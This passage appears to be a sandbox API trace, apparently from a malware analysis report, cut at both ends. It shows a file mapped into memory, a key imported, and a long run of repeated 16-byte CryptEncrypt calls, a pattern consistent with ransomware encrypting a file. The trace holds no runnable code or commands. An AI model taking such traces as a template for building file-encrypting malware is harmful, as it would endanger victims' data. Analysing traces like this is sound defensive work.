flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18e34, lpName=0x0) returned 0x3bc [0074.753] MapViewOfFile (hFileMappingObject=0x3bc, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18e34) returned 0x3450000 [0074.754] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x1668708) returned 1 [0074.754] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639568) returned 1 [0074.754] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0074.754] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0074.754] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.754] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.754] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.754] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.755] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.756] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.757] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: 